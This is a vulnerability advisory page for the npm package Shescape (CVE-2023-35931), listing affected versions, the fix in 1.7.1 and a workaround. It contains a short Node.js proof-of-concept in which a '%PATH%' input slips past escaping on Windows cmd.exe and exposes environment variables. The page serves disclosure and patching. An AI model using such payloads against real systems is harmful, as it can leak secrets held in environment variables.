Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2
Shescape potential environment variable exposure on Windows with CMD
Impact
This impact users of Shescape:
- On Windows using the Windows Command Prompt (i.e.
cmd.exe
), and - Using
quote
/quoteAll
orescape
/escapeAll
with theinterpolation
option set totrue
.
An attacker may be able to get read-only access to environment variables. Example:
import * as cp from "node:child_process";
import * as shescape from "shescape";
// 1. Prerequisites
const options = {
shell: "cmd.exe",
// Or
shell: undefined, // Only if the default shell is CMD
// And
interpolation: true, // Only applies to `escape` and `escapeAll` usage
}
// 2. Attack (one of many)
const payload = "%PATH%";
// 3. Usage
let escapedPayload;
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);
// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable
Patches
This bug has been patched in v1.7.1 which you can upgrade to now. No further changes are required.
Workarounds
Alternatively, users can remove all instances of %
from user input, either before or after using Shescape.
References Permalink: https://github.com/advisories/GHSA-3g7p-8qhx-mc8r
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 1 year ago
Updated: about 1 year ago
CVSS Score: 3.1
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Percentage: 0.00072
EPSS Percentile: 0.33724
Identifiers: GHSA-3g7p-8qhx-mc8r, CVE-2023-35931
References:
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-3g7p-8qhx-mc8r
- https://github.com/ericcornelissen/shescape/pull/982
- https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac
- https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1
- https://nvd.nist.gov/vuln/detail/CVE-2023-35931
- https://github.com/advisories/GHSA-3g7p-8qhx-mc8r
Blast Radius: 4.5
Affected Packages
npm:shescape
Dependent packages: 15Dependent repositories: 28
Downloads: 12,137 last month
Affected Version Ranges: < 1.7.1
Fixed in: 1.7.1
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.3.0, 0.3.1, 0.4.0, 0.4.1, 1.0.0, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.4.0, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.5.10, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.7.0
All unaffected versions: 1.7.1, 1.7.2, 1.7.3, 1.7.4, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.1.1